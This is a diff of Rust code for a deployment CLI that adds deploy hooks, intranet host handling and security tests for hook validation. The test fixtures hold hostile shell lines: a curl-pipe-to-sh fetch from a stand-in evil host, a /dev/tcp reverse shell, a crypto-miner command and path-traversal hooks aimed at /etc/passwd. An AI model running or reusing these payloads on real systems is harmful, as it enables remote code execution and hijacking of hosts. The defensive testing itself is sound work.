+    environment_override: Option<&str>,
+    dry_run: bool,
+    force_rebuild: bool,
+    force_new: bool,
+    executor: &dyn CommandExecutor,
+    remote_overrides: &RemoteDeployOverrides,
+    runtime: &str,
+    hook_policy: HookPolicy,
 ) -> Result<DeployResult, CliError> {
     let cred_manager = CredentialsManager::with_default_store();
     run_deploy_with_credentials_manager(
@@ -2475,6 +2828,7 @@ pub fn run_deploy_for_environment(
         remote_overrides,
         runtime,
         &cred_manager,
+        hook_policy,
     )
 }
 
@@ -2491,6 +2845,7 @@ fn run_deploy_with_credentials_manager<S: CredentialStore>(
     remote_overrides: &RemoteDeployOverrides,
     runtime: &str,
     cred_manager: &CredentialsManager<S>,
+    hook_policy: HookPolicy,
 ) -> Result<DeployResult, CliError> {
     // 1. Load config
     let config_path = match config_file {
@@ -2528,6 +2883,20 @@ fn run_deploy_with_credentials_manager<S: CredentialStore>(
     let mut lock_server_name: Option<String> = None;
     if deploy_target == DeployTarget::Cloud && !force_new {
         if let Some(ref server_cfg) = config.deploy.server {
+            if crate::helpers::ip::is_private_host(&server_cfg.host) {
+                // Private/intranet host — skip SSH check and switch to Server target.
+                // The russh client cannot reliably reach intranet IPs from the CLI's
+                // routing stack (EHOSTUNREACH), but the local SSH binary can. Trust
+                // the config and proceed.
+                eprintln!(
+                    "  Found deploy.server section (host={}). Intranet address — skipping SSH pre-check.",
+                    server_cfg.host
+                );
+                eprintln!(
+                    "  Switching deploy target from 'cloud' → 'server' (intranet server)."
+                );
+                deploy_target = DeployTarget::Server;
+            } else {
             eprintln!(
                 "  Found deploy.server section (host={}). Checking SSH connectivity...",
                 server_cfg.host
@@ -2589,6 +2958,7 @@ fn run_deploy_with_credentials_manager<S: CredentialStore>(
                     });
                 }
             }
+            }
         } else if DeploymentLock::exists_for_target(project_dir, "cloud")
             || DeploymentLock::exists(project_dir)
         {
@@ -2641,49 +3011,60 @@ fn run_deploy_with_credentials_manager<S: CredentialStore>(
 
     if deploy_target == DeployTarget::Server {
         if let Some(ref server_cfg) = config.deploy.server {
-            eprintln!(
-                "  Validating SSH connectivity to {} before bootstrap deploy...",
-                server_cfg.host
-            );
+            if crate::helpers::ip::is_private_host(&server_cfg.host) {
+                // Intranet / private-IP servers are not reachable from the cloud,
+                // so the russh pre-check will always fail (EHOSTUNREACH on the CLI
+                // machine's routing stack may differ from the system SSH). Skip it
+                // and proceed directly — the user configured this server themselves.
+                eprintln!(
+                    "  Skipping SSH pre-check for intranet server {} (private address).",
+                    server_cfg.host
+                );
+            } else {
+                eprintln!(
+                    "  Validating SSH connectivity to {} before bootstrap deploy...",
+                    server_cfg.host
+                );
 
-            match try_ssh_server_check(server_cfg) {
-                Some(check) if check.connected && check.authenticated => {
-                    eprintln!(
-                        "  ✓ Server {} is reachable ({})",
-                        server_cfg.host,
-                        check.summary()
-                    );
+                match try_ssh_server_check(server_cfg) {
+                    Some(check) if check.connected && check.authenticated => {
+                        eprintln!(
+                            "  ✓ Server {} is reachable ({})",
+                            server_cfg.host,
+                            check.summary()
+                        );
 
-                    if !check.docker_installed {
+                        if !check.docker_installed {
+                            return Err(CliError::DeployFailed {
+                                target: DeployTarget::Server,
+                                reason: format!(
+                                    "Server {} is reachable but Docker is not installed. Install Docker and Docker Compose, then retry.",
+                                    server_cfg.host
+                                ),
+                            });
+                        }
+                    }
+                    Some(check) => {
+                        print_server_unreachable_hint(server_cfg, &check);
+                        return Err(CliError::DeployFailed {
+                            target: DeployTarget::Server,
+                            reason: format!(
+                                "Failed to connect to {} over SSH: {}",
+                                server_cfg.host,
+                                check.error.as_deref().unwrap_or("unknown error")
+                            ),
+                        });
+                    }
+                    None => {
                         return Err(CliError::DeployFailed {
                             target: DeployTarget::Server,
                             reason: format!(
-                                "Server {} is reachable but Docker is not installed. Install Docker and Docker Compose, then retry.",
+                                "Could not verify SSH connectivity to {}. Check deploy.server.ssh_key and retry.",
                                 server_cfg.host
                             ),
                         });
                     }
                 }
-                Some(check) => {
-                    print_server_unreachable_hint(server_cfg, &check);
-                    return Err(CliError::DeployFailed {
-                        target: DeployTarget::Server,
-                        reason: format!(
-                            "Failed to connect to {} over SSH: {}",
-                            server_cfg.host,
-                            check.error.as_deref().unwrap_or("unknown error")
-                        ),
-                    });
-                }
-                None => {
-                    return Err(CliError::DeployFailed {
-                        target: DeployTarget::Server,
-                        reason: format!(
-                            "Could not verify SSH connectivity to {}. Check deploy.server.ssh_key and retry.",
-                            server_cfg.host
-                        ),
-                    });
-                }
             }
         }
     }
@@ -2894,6 +3275,12 @@ fn run_deploy_with_credentials_manager<S: CredentialStore>(
         if let Some(ref pre_build) = config.hooks.pre_build {
             eprintln!("  Hook (pre_build): {}", pre_build.display());
         }
+        if let Some(ref post_deploy) = config.hooks.post_deploy {
+            eprintln!("  Hook (post_deploy): {}", post_deploy.display());
+        }
+        if let Some(ref on_failure) = config.hooks.on_failure {
+            eprintln!("  Hook (on_failure): {}", on_failure.display());
+        }
     }
 
     // 6. Deploy
@@ -2917,9 +3304,96 @@ fn run_deploy_with_credentials_manager<S: CredentialStore>(
         force_new,
     };
 
-    let result = strategy.deploy(&config, &context, executor)?;
+    let origin_trusted = config.is_trusted();
+
+    // 6a. Execute pre-build hook
+    if !dry_run {
+        run_hook(
+            executor,
+            project_dir,
+            &config.hooks.pre_build,
+            "pre_build",
+            hook_policy,
+            origin_trusted,
+        )?;
+    }
 
-    Ok(result)
+    // 6b. Deploy
+    let deploy_result = strategy.deploy(&config, &context, executor);
+
+    match deploy_result {
+        Ok(result) => {
+            // 6c. Execute post-deploy hook on success.
+            //
+            // Phase 6b split: distinguish security REJECTION from runtime
+            // FAILURE. A rejection (path traversal, malicious content,
+            // untrusted origin) must fail the deploy — otherwise a hostile
+            // stacker.yml can silently succeed while the tell-tale WARN
+            // scrolls off the terminal. A clean-content hook that just
+            // exits non-zero at runtime stays best-effort (WARN + Ok).
+            if !dry_run {
+                match run_hook(
+                    executor,
+                    project_dir,
+                    &config.hooks.post_deploy,
+                    "post_deploy",
+                    hook_policy,
+                    origin_trusted,
+                ) {
+                    Ok(()) => {}
+                    Err(err @ CliError::HookRejected { .. }) => {
+                        eprintln!("  [ERROR] {}", err);
+                        return Err(err);
+                    }
+                    Err(err) => {
+                        eprintln!("  [WARN] post_deploy hook failed: {}", err);
+                    }
+                }
+            }
+            Ok(result)
+        }
+        Err(err) => {
+            // 6d. Execute on-failure hook.
+            //
+            // Phase 6b: runtime failure of on_failure is a WARN and the
+            // original deploy error is preserved. Security rejection of
+            // on_failure is escalated by chaining the rejection reason
+            // into the returned error, so the operator sees BOTH the
+            // primary cause AND the fact that a hostile cleanup script
+            // was refused.
+            if !dry_run {
+                match run_hook(
+                    executor,
+                    project_dir,
+                    &config.hooks.on_failure,
+                    "on_failure",
+                    hook_policy,
+                    origin_trusted,
+                ) {
+                    Ok(()) => {}
+                    Err(hook_err @ CliError::HookRejected { .. }) => {
+                        let rejection_text = format!("{}", hook_err);
+                        eprintln!("  [ERROR] {}", rejection_text);
+                        let chained = match err {
+                            CliError::DeployFailed { target, reason } => CliError::DeployFailed {
+                                target,
+                                reason: format!("{}\n\n{}", reason, rejection_text),
+                            },
+                            other => CliError::DeployFailed {
+                                target: crate::cli::config_parser::DeployTarget::Local,
+                                reason: format!("{}\n\n{}", other, rejection_text),
+                            },
+                        };
+                        return Err(chained);
+                    }
+                    Err(hook_err) => {
+                        eprintln!("  [WARN] on_failure hook also failed: {}", hook_err);
+                    }
+                }
+            }
+            Err(err)
+        }
+    }
 }
 
 impl CallableTrait for DeployCommand {
@@ -2983,7 +3457,7 @@ impl CallableTrait for DeployCommand {
         // ── Spinner while deploying ──────────────────
         let spin = progress::deploy_spinner("starting...");
 
-        let result = run_deploy_for_environment(
+        let result = run_deploy_for_environment_with_policy(
             &project_dir,
             self.file.as_deref(),
             self.target.as_deref(),
@@ -2994,6 +3468,7 @@ impl CallableTrait for DeployCommand {
             &executor,
             &remote_overrides,
             &self.runtime,
+            self.hook_policy(),
         );
 
         let result = match result {
@@ -4278,6 +4753,7 @@ services:
             &RemoteDeployOverrides::default(),
             "runc",
             &cred_manager,
+            HookPolicy::default(),
         );
         assert!(result.is_err());
 
@@ -4343,6 +4819,7 @@ services:
             &RemoteDeployOverrides::default(),
             "runc",
             &cred_manager,
+            HookPolicy::default(),
         );
         assert!(result.is_err());
 
@@ -4473,13 +4950,13 @@ services:
     }
 
     #[test]
-    fn test_deploy_runs_pre_build_hook_noted() {
+    fn test_deploy_hooks_dry_run_does_not_execute() {
         let config =
-            "name: test-app\napp:\n  type: static\n  path: .\nhooks:\n  pre_build: ./build.sh\n";
+            "name: test-app\napp:\n  type: static\n  path: .\nhooks:\n  pre_build: ./build.sh\n  post_deploy: ./post.sh\n  on_failure: ./failure.sh\n";
         let dir = setup_local_project(&[("index.html", "<h1>hello</h1>"), ("stacker.yml", config)]);
         let executor = MockExecutor::success();
 
-        // Dry-run should succeed (hooks are just noted, not executed in dry-run)
+        // Dry-run should succeed (hooks noted but NOT executed — no scripts created)
         let result = run_deploy(
             dir.path(),
             None,
@@ -4495,35 +4972,132 @@ services:
     }
 
     #[test]
-    fn test_fallback_hints_for_npm_ci_error() {
-        let hints =
-            fallback_troubleshooting_hints("failed to solve: /bin/sh -c npm ci --production");
-        assert!(hints.iter().any(|h| h.contains("npm ci failed")));
-    }
-
-    #[test]
-    fn test_compose_app_build_source_reads_context_and_dockerfile() {
-        let dir = TempDir::new().unwrap();
-        let compose_path = dir.path().join(".stacker").join("docker-compose.yml");
-        std::fs::create_dir_all(compose_path.parent().unwrap()).unwrap();
-        std::fs::write(
-            &compose_path,
-            "services:\n  app:\n    build:\n      context: ..\n      dockerfile: .stacker/Dockerfile\n",
-        )
-        .unwrap();
+    fn test_deploy_runs_pre_build_hook() {
+        let config =
+            "name: test-app\napp:\n  type: static\n  path: .\n  ports:\n    - \"8080\"\nhooks:\n  pre_build: ./build.sh\n";
+        let dir = setup_local_project(&[
+            ("index.html", "<h1>hello</h1>"),
+            ("stacker.yml", config),
+            ("build.sh", "#!/bin/sh\necho pre-build\necho done > done.txt"),
+        ]);
+        let executor = MockExecutor::success();
 
-        let source = compose_app_build_source(&compose_path).unwrap();
-        assert!(source.contains("context="));
-        assert!(source.contains("dockerfile="));
-        assert!(source.contains(".stacker/Dockerfile"));
-    }
+        // Non-dry-run — hook should be executed
+        let result = run_deploy(
+            dir.path(),
+            None,
+            Some("local"),
+            false,
+            false,
+            false,
+            &executor,
+            &RemoteDeployOverrides::default(),
+            "runc",
+        );
+        assert!(result.is_ok());
 
-    #[test]
-    fn test_build_troubleshoot_error_log_handles_missing_files() {
-        let dir = TempDir::new().unwrap();
-        let log = build_troubleshoot_error_log(dir.path(), "docker compose failed");
-        assert!(log.contains("docker compose failed"));
-        assert!(log.contains("(not found)"));
+        // Verify the hook script was invoked through the executor
+        let calls = executor.calls.lock().unwrap();
+        let hook_calls: Vec<_> = calls.iter().filter(|(prog, _)| prog == "sh").collect();
+        assert!(!hook_calls.is_empty(), "Expected at least one sh call for the hook");
+        assert!(
+            hook_calls.iter().any(|(_, args)| args.iter().any(|a| a.contains("build.sh"))),
+            "Expected a sh call with build.sh in args"
+        );
+    }
+
+    #[test]
+    fn test_deploy_runs_post_deploy_hook_on_success() {
+        let config =
+            "name: test-app\napp:\n  type: static\n  path: .\n  ports:\n    - \"8080\"\nhooks:\n  post_deploy: ./post.sh\n";
+        let dir = setup_local_project(&[
+            ("index.html", "<h1>hello</h1>"),
+            ("stacker.yml", config),
+            ("post.sh", "#!/bin/sh\necho post-deploy"),
+        ]);
+        let executor = MockExecutor::success();
+
+        let result = run_deploy(
+            dir.path(),
+            None,
+            Some("local"),
+            false,
+            false,
+            false,
+            &executor,
+            &RemoteDeployOverrides::default(),
+            "runc",
+        );
+        assert!(result.is_ok());
+
+        // Verify the hook script was invoked through the executor
+        let calls = executor.calls.lock().unwrap();
+        let hook_calls: Vec<_> = calls.iter().filter(|(prog, _)| prog == "sh").collect();
+        assert!(!hook_calls.is_empty(), "Expected at least one sh call for post_deploy");
+        assert!(
+            hook_calls.iter().any(|(_, args)| args.iter().any(|a| a.contains("post.sh"))),
+            "Expected a sh call with post.sh in args"
+        );
+    }
+
+    #[test]
+    fn test_deploy_hook_missing_script_fails() {
+        let config =
+            "name: test-app\napp:\n  type: static\n  path: .\nhooks:\n  pre_build: ./nonexistent.sh\n";
+        let dir = setup_local_project(&[("index.html", "<h1>hello</h1>"), ("stacker.yml", config)]);
+        let executor = MockExecutor::success();
+
+        let result = run_deploy(
+            dir.path(),
+            None,
+            Some("local"),
+            false,
+            false,
+            false,
+            &executor,
+            &RemoteDeployOverrides::default(),
+            "runc",
+        );
+        assert!(result.is_err(), "Deploy should fail when hook script is missing");
+        let err = result.unwrap_err();
+        let err_str = format!("{}", err);
+        assert!(
+            err_str.contains("nonexistent.sh"),
+            "Error should mention the missing script: {}",
+            err_str
+        );
+    }
+
+    #[test]
+    fn test_fallback_hints_for_npm_ci_error() {
+        let hints =
+            fallback_troubleshooting_hints("failed to solve: /bin/sh -c npm ci --production");
+        assert!(hints.iter().any(|h| h.contains("npm ci failed")));
+    }
+
+    #[test]
+    fn test_compose_app_build_source_reads_context_and_dockerfile() {
+        let dir = TempDir::new().unwrap();
+        let compose_path = dir.path().join(".stacker").join("docker-compose.yml");
+        std::fs::create_dir_all(compose_path.parent().unwrap()).unwrap();
+        std::fs::write(
+            &compose_path,
+            "services:\n  app:\n    build:\n      context: ..\n      dockerfile: .stacker/Dockerfile\n",
+        )
+        .unwrap();
+
+        let source = compose_app_build_source(&compose_path).unwrap();
+        assert!(source.contains("context="));
+        assert!(source.contains("dockerfile="));
+        assert!(source.contains(".stacker/Dockerfile"));
+    }
+
+    #[test]
+    fn test_build_troubleshoot_error_log_handles_missing_files() {
+        let dir = TempDir::new().unwrap();
+        let log = build_troubleshoot_error_log(dir.path(), "docker compose failed");
+        assert!(log.contains("docker compose failed"));
+        assert!(log.contains("(not found)"));
     }
 
     #[test]
@@ -4774,6 +5348,7 @@ include:
             ssh_key: None,
             key: None,
             server: None,
+            public_ports: Vec::new(),
         };
         let cloud = stacker_client::CloudInfo {
             id: 5,
@@ -5363,8 +5938,8 @@ monitoring:
     // These tests verify the compose-mutation step that deploy_single_service
     // performs before sending compose content to the agent.
 
-    use crate::cli::config_parser::{DomainConfig, ProxyConfig, ProxyType, SslMode};
     use crate::cli::compose_service_sync::inject_npm_proxy_network;
+    use crate::cli::config_parser::{DomainConfig, ProxyConfig, ProxyType, SslMode};
 
     fn npm_proxy_for(upstream: &str) -> ProxyConfig {
         ProxyConfig {
@@ -5381,7 +5956,8 @@ monitoring:
 
     #[test]
     fn deploy_single_service_compose_injection_adds_default_network_for_proxied_service() {
-        let compose_yaml = "services:\n  api:\n    image: myapp:latest\n    ports:\n      - \"3000:3000\"\n";
+        let compose_yaml =
+            "services:\n  api:\n    image: myapp:latest\n    ports:\n      - \"3000:3000\"\n";
         let mut doc: serde_yaml::Value = serde_yaml::from_str(compose_yaml).unwrap();
 
         let changed = inject_npm_proxy_network(&mut doc, "api", &npm_proxy_for("api:3000"));
@@ -5426,4 +6002,982 @@ monitoring:
         let changed = inject_npm_proxy_network(&mut doc, "web", &proxy);
         assert!(!changed);
     }
+
+    // ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
+    // Security-audit follow-up tests — shell hook execution.
+    //
+    // These tests are written FIRST (TDD): they encode the intended
+    // post-fix behaviour and MUST fail against the current code.
+    // The fixes in `run_hook` (deploy.rs) + new path/content validators
+    // flip them to green.
+    //
+    // Coverage:
+    //   * C3 — path traversal / absolute / symlink rejected
+    //   * C1 — validate_shell_scripts wired into pre_build, post_deploy,
+    //          and on_failure paths
+    //   * H1 — post_deploy / on_failure hook failures no longer swallowed
+    // ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
+
+    /// Mock executor that returns a non-zero exit when invoked with `sh`.
+    /// Used to verify hook failure propagation (H1).
+    struct ShFailureMockExecutor {
+        calls: Mutex<Vec<(String, Vec<String>)>>,
+        default_output: CommandOutput,
+        sh_output: CommandOutput,
+    }
+
+    impl ShFailureMockExecutor {
+        fn with_sh_failure(exit_code: i32, stderr: &str) -> Self {
+            Self {
+                calls: Mutex::new(Vec::new()),
+                default_output: CommandOutput {
+                    exit_code: 0,
+                    stdout: "ok".to_string(),
+                    stderr: String::new(),
+                },
+                sh_output: CommandOutput {
+                    exit_code,
+                    stdout: String::new(),
+                    stderr: stderr.to_string(),
+                },
+            }
+        }
+    }
+
+    impl CommandExecutor for ShFailureMockExecutor {
+        fn execute(&self, program: &str, args: &[&str]) -> Result<CommandOutput, CliError> {
+            self.calls.lock().unwrap().push((
+                program.to_string(),
+                args.iter().map(|s| s.to_string()).collect(),
+            ));
+            if program == "sh" {
+                Ok(self.sh_output.clone())
+            } else {
+                Ok(self.default_output.clone())
+            }
+        }
+    }
+
+    /// Helper: count `sh` calls recorded by a MockExecutor.
+    fn sh_calls_of(executor: &MockExecutor) -> Vec<(String, Vec<String>)> {
+        executor
+            .calls
+            .lock()
+            .unwrap()
+            .iter()
+            .filter(|(p, _)| p == "sh")
+            .cloned()
+            .collect()
+    }
+
+    /// C3: a hook path containing `..` must be refused BEFORE execution,
+    /// even when the resolved path exists on disk. We point the hook at
+    /// `/etc/passwd` via traversal — current code executes it; the fix
+    /// must reject the path and never reach the executor.
+    #[test]
+    fn test_hook_path_relative_traversal_rejected() {
+        let config = "name: test-app\napp:\n  type: static\n  path: .\nhooks:\n  pre_build: ../../../../etc/passwd\n";
+        let dir = setup_local_project(&[
+            ("index.html", "<h1>hi</h1>"),
+            ("stacker.yml", config),
+        ]);
+        let executor = MockExecutor::success();
+
+        let result = run_deploy(
+            dir.path(),
+            None,
+            Some("local"),
+            false,
+            false,
+            false,
+            &executor,
+            &RemoteDeployOverrides::default(),
+            "runc",
+        );
+
+        assert!(
+            result.is_err(),
+            "Relative path traversal in hook must be rejected, got Ok"
+        );
+        assert!(
+            sh_calls_of(&executor).is_empty(),
+            "No sh call may be made for a traversal-rejected hook, got: {:?}",
+            sh_calls_of(&executor)
+        );
+    }
+
+    /// C3: an absolute hook path must be refused — hook scripts must live
+    /// inside the project directory.
+    #[test]
+    fn test_hook_path_absolute_rejected() {
+        let config = "name: test-app\napp:\n  type: static\n  path: .\nhooks:\n  pre_build: /etc/passwd\n";
+        let dir = setup_local_project(&[
+            ("index.html", "<h1>hi</h1>"),
+            ("stacker.yml", config),
+        ]);
+        let executor = MockExecutor::success();
+
+        let result = run_deploy(
+            dir.path(),
+            None,
+            Some("local"),
+            false,
+            false,
+            false,
+            &executor,
+            &RemoteDeployOverrides::default(),
+            "runc",
+        );
+
+        assert!(
+            result.is_err(),
+            "Absolute hook path must be rejected, got Ok"
+        );
+        assert!(
+            sh_calls_of(&executor).is_empty(),
+            "No sh call may be made for an absolute-path hook, got: {:?}",
+            sh_calls_of(&executor)
+        );
+    }
+
+    /// C3: a symlink inside the project pointing OUTSIDE the project must
+    /// be refused. `script_path.exists()` follows symlinks today and the
+    /// hook would be executed; the fix must use `symlink_metadata` and
+    /// reject.
+    #[cfg(unix)]
+    #[test]
+    fn test_hook_path_symlink_to_outside_project_rejected() {
+        use std::os::unix::fs::symlink;
+
+        let config = "name: test-app\napp:\n  type: static\n  path: .\nhooks:\n  pre_build: ./build.sh\n";
+        let dir = setup_local_project(&[
+            ("index.html", "<h1>hi</h1>"),
+            ("stacker.yml", config),
+        ]);
+        // Create a symlink build.sh → /etc/passwd (a file outside the project).
+        symlink("/etc/passwd", dir.path().join("build.sh")).unwrap();
+
+        let executor = MockExecutor::success();
+
+        let result = run_deploy(
+            dir.path(),
+            None,
+            Some("local"),
+            false,
+            false,
+            false,
+            &executor,
+            &RemoteDeployOverrides::default(),
+            "runc",
+        );
+
+        assert!(
+            result.is_err(),
+            "Symlinked hook pointing outside project must be rejected, got Ok"
+        );
+        assert!(
+            sh_calls_of(&executor).is_empty(),
+            "No sh call may be made for a symlinked hook, got: {:?}",
+            sh_calls_of(&executor)
+        );
+    }
+
+    /// C1: a pre_build hook whose contents match a CRITICAL pattern
+    /// (`curl ... | sh`) must be refused by `validate_shell_scripts`
+    /// BEFORE execution. Today the validator exists but isn't called,
+    /// so the hook would execute.
+    #[test]
+    fn test_hook_content_curl_pipe_sh_rejected_pre_build() {
+        let config = "name: test-app\napp:\n  type: static\n  path: .\nhooks:\n  pre_build: ./build.sh\n";
+        let dir = setup_local_project(&[
+            ("index.html", "<h1>hi</h1>"),
+            ("stacker.yml", config),
+            (
+                "build.sh",
+                "#!/bin/sh\ncurl -sSL https://evil.example/install | sh\n",
+            ),
+        ]);
+        let executor = MockExecutor::success();
+
+        let result = run_deploy(
+            dir.path(),
+            None,
+            Some("local"),
+            false,
+            false,
+            false,
+            &executor,
+            &RemoteDeployOverrides::default(),
+            "runc",
+        );
+
+        assert!(
+            result.is_err(),
+            "Hook with curl|sh must be refused by validate_shell_scripts before execution, got Ok"
+        );
+        assert!(
+            sh_calls_of(&executor).is_empty(),
+            "No sh call may be made for a security-rejected hook, got: {:?}",
+            sh_calls_of(&executor)
+        );
+    }
+
+    /// C1: same for a crypto-miner reference in the pre_build hook.
+    #[test]
+    fn test_hook_content_crypto_miner_rejected_pre_build() {
+        let config = "name: test-app\napp:\n  type: static\n  path: .\nhooks:\n  pre_build: ./build.sh\n";
+        let dir = setup_local_project(&[
+            ("index.html", "<h1>hi</h1>"),
+            ("stacker.yml", config),
+            (
+                "build.sh",
+                "#!/bin/bash\n./xmrig --url stratum+tcp://pool.minexmr.com:4444\n",
+            ),
+        ]);
+        let executor = MockExecutor::success();
+
+        let result = run_deploy(
+            dir.path(),
+            None,
+            Some("local"),
+            false,
+            false,
+            false,
+            &executor,
+            &RemoteDeployOverrides::default(),
+            "runc",
+        );
+
+        assert!(
+            result.is_err(),
+            "Miner reference in hook must be refused, got Ok"
+        );
+        assert!(
+            sh_calls_of(&executor).is_empty(),
+            "No sh call may be made for a miner-flagged hook, got: {:?}",
+            sh_calls_of(&executor)
+        );
+    }
+
+    /// C1: same for reverse-shell construction in the pre_build hook.
+    #[test]
+    fn test_hook_content_reverse_shell_rejected_pre_build() {
+        let config = "name: test-app\napp:\n  type: static\n  path: .\nhooks:\n  pre_build: ./build.sh\n";
+        let dir = setup_local_project(&[
+            ("index.html", "<h1>hi</h1>"),
+            ("stacker.yml", config),
+            (
+                "build.sh",
+                "#!/bin/bash\nbash -i >& /dev/tcp/10.0.0.1/4444 0>&1\n",
+            ),
+        ]);
+        let executor = MockExecutor::success();
+
+        let result = run_deploy(
+            dir.path(),
+            None,
+            Some("local"),
+            false,
+            false,
+            false,
+            &executor,
+            &RemoteDeployOverrides::default(),
+            "runc",
+        );
+
+        assert!(
+            result.is_err(),
+            "Reverse-shell in hook must be refused, got Ok"
+        );
+        assert!(
+            sh_calls_of(&executor).is_empty(),
+            "No sh call may be made for a reverse-shell hook, got: {:?}",
+            sh_calls_of(&executor)
+        );
+    }
+
+    /// Phase 6b: a `post_deploy` hook whose content is REJECTED by the
+    /// security validator (curl|sh, miner, revshell, etc.) must FAIL the
+    /// deploy. This is different from a hook that simply exits non-zero
+    /// at runtime, which stays warn-only — see the sibling test
+    /// `test_post_deploy_hook_runtime_failure_stays_ok`.
+    ///
+    /// Rationale: a security rejection is a signed-off statement that the
+    /// operator's stacker.yml is asking us to do something dangerous.
+    /// Silently absorbing that under a WARN would allow a hostile
+    /// marketplace-authored file to succeed the deploy while hiding the
+    /// tell-tale rejection in stderr scrollback.
+    #[test]
+    fn test_post_deploy_security_rejection_fails_deploy() {
+        let config = "name: test-app\napp:\n  type: static\n  path: .\n  ports:\n    - \"8080\"\nhooks:\n  post_deploy: ./post.sh\n";
+        let dir = setup_local_project(&[
+            ("index.html", "<h1>hi</h1>"),
+            ("stacker.yml", config),
+            (
+                "post.sh",
+                "#!/bin/sh\ncurl -sSL https://evil.example/x | sh\n",
+            ),
+        ]);
+        let executor = MockExecutor::success();
+
+        let result = run_deploy(
+            dir.path(),
+            None,
+            Some("local"),
+            false,
+            false,
+            false,
+            &executor,
+            &RemoteDeployOverrides::default(),
+            "runc",
+        );
+
+        assert!(
+            result.is_err(),
+            "Phase 6b: security rejection of post_deploy MUST fail the deploy \
+             (was silently WARN-only before this change): {:?}",
+            result
+        );
+        let err = format!("{}", result.unwrap_err());
+        assert!(
+            err.to_lowercase().contains("reject")
+                || err.to_lowercase().contains("security")
+                || err.to_lowercase().contains("hook"),
+            "Error message must communicate the security rejection, got: {}",
+            err
+        );
+        let sh_args: Vec<_> = sh_calls_of(&executor)
+            .into_iter()
+            .flat_map(|(_, args)| args.into_iter())
+            .collect();
+        assert!(
+            !sh_args.iter().any(|a| a.contains("post.sh")),
+            "post.sh must not be executed once flagged, sh args: {:?}",
+            sh_args
+        );
+    }
+
+    /// Phase 6b sibling of `test_post_deploy_security_rejection_fails_deploy`:
+    /// a CLEAN post_deploy hook (passes validation) that just happens to
+    /// exit non-zero at runtime must NOT fail the deploy. This is the
+    /// "best-effort" semantic for post-deploy notification/logging hooks.
+    ///
+    /// The distinction from a security rejection is the intent: an
+    /// operator's own hook that returns 1 is a bug in their script;
+    /// a hook rejected by security scan is a hostile stacker.yml.
+    #[test]
+    fn test_post_deploy_hook_runtime_failure_stays_ok() {
+        let config = "name: test-app\napp:\n  type: static\n  path: .\n  ports:\n    - \"8080\"\nhooks:\n  post_deploy: ./post.sh\n";
+        let dir = setup_local_project(&[
+            ("index.html", "<h1>hi</h1>"),
+            ("stacker.yml", config),
+            ("post.sh", "#!/bin/sh\necho oops\nexit 1\n"),
+        ]);
+        let executor = ShFailureMockExecutor::with_sh_failure(1, "hook deliberately failed");
+
+        let result = run_deploy(
+            dir.path(),
+            None,
+            Some("local"),
+            false,
+            false,
+            false,
+            &executor,
+            &RemoteDeployOverrides::default(),
+            "runc",
+        );
+
+        // Post_deploy hook failures are logged (via eprintln!) but do
+        // not fail the overall deploy (design decision: a post_deploy
+        // hook that fails should not roll back a successful deploy).
+        assert!(
+            result.is_ok(),
+            "post_deploy hook failure must NOT fail the deploy: {:?}",
+            result
+        );
+    }
+
+    /// H1: failures in the `on_failure` hook must be visible too. We
+    /// trigger this by making the deploy itself fail (no compose, no
+    /// docker), then ensuring the on_failure hook is invoked and its
+    /// own exit-non-zero is not silently dropped.
+    ///
+    /// We assert on the executor recording: the hook script ran AND
+    /// when it fails its non-zero exit must be logged/surfaced, even
+    /// though the original deploy error is what the caller sees.
+    #[test]
+    fn test_on_failure_hook_invoked_when_deploy_fails() {
+        // Use a hooks-only project with a deliberately invalid app
+        // path to provoke a deploy failure. (When the LocalDeploy path
+        // doesn't fail synthetically we still expect on_failure to be
+        // wired up.)
+        let config = "name: test-app\napp:\n  type: static\n  path: .\nhooks:\n  on_failure: ./fail.sh\n";
+        let dir = setup_local_project(&[
+            ("index.html", "<h1>hi</h1>"),
+            ("stacker.yml", config),
+            ("fail.sh", "#!/bin/sh\necho cleanup ran\n"),
+        ]);
+
+        // Failing executor: any docker compose call fails.
+        struct DeployFailingExecutor {
+            calls: Mutex<Vec<(String, Vec<String>)>>,
+        }
+        impl CommandExecutor for DeployFailingExecutor {
+            fn execute(&self, program: &str, args: &[&str]) -> Result<CommandOutput, CliError> {
+                self.calls.lock().unwrap().push((
+                    program.to_string(),
+                    args.iter().map(|s| s.to_string()).collect(),
+                ));
+                if program == "docker" || program == "docker-compose" {
+                    Ok(CommandOutput {
+                        exit_code: 1,
+                        stdout: String::new(),
+                        stderr: "synthetic docker failure".into(),
+                    })
+                } else {
+                    Ok(CommandOutput {
+                        exit_code: 0,
+                        stdout: "ok".into(),
+                        stderr: String::new(),
+                    })
+                }
+            }
+        }
+        let executor = DeployFailingExecutor {
+            calls: Mutex::new(Vec::new()),
+        };
+
+        let result = run_deploy(
+            dir.path(),
+            None,
+            Some("local"),
+            false,
+            false,
+            false,
+            &executor,
+            &RemoteDeployOverrides::default(),
+            "runc",
+        );
+
+        assert!(result.is_err(), "Expected deploy to fail (synthetic docker error)");
+        let calls = executor.calls.lock().unwrap();
+        let on_failure_invoked = calls
+            .iter()
+            .any(|(p, args)| p == "sh" && args.iter().any(|a| a.contains("fail.sh")));
+        assert!(
+            on_failure_invoked,
+            "on_failure hook must be invoked when the deploy fails, calls: {:?}",
+            *calls
+        );
+    }
+
+    /// Phase 6b: a malicious `on_failure` hook must NOT be silently
+    /// swallowed just because deploy already failed. The deploy still
+    /// returns Err — but the returned error must carry BOTH the primary
+    /// deploy failure text AND a note about the on_failure rejection,
+    /// so the operator sees the security concern rather than only the
+    /// original cause.
+    #[test]
+    fn test_on_failure_security_rejection_chained_into_error() {
+        let config = "name: test-app\napp:\n  type: static\n  path: .\nhooks:\n  on_failure: ./fail.sh\n";
+        let dir = setup_local_project(&[
+            ("index.html", "<h1>hi</h1>"),
+            ("stacker.yml", config),
+            (
+                "fail.sh",
+                "#!/bin/sh\ncurl -sSL https://evil.example/x | sh\n",
+            ),
+        ]);
+
+        struct DeployFailingExecutor {
+            calls: Mutex<Vec<(String, Vec<String>)>>,
+        }
+        impl CommandExecutor for DeployFailingExecutor {
+            fn execute(&self, program: &str, args: &[&str]) -> Result<CommandOutput, CliError> {
+                self.calls.lock().unwrap().push((
+                    program.to_string(),
+                    args.iter().map(|s| s.to_string()).collect(),
+                ));
+                if program == "docker" || program == "docker-compose" {
+                    Ok(CommandOutput {
+                        exit_code: 1,
+                        stdout: String::new(),
+                        stderr: "synthetic docker failure".into(),
+                    })
+                } else {
+                    Ok(CommandOutput {
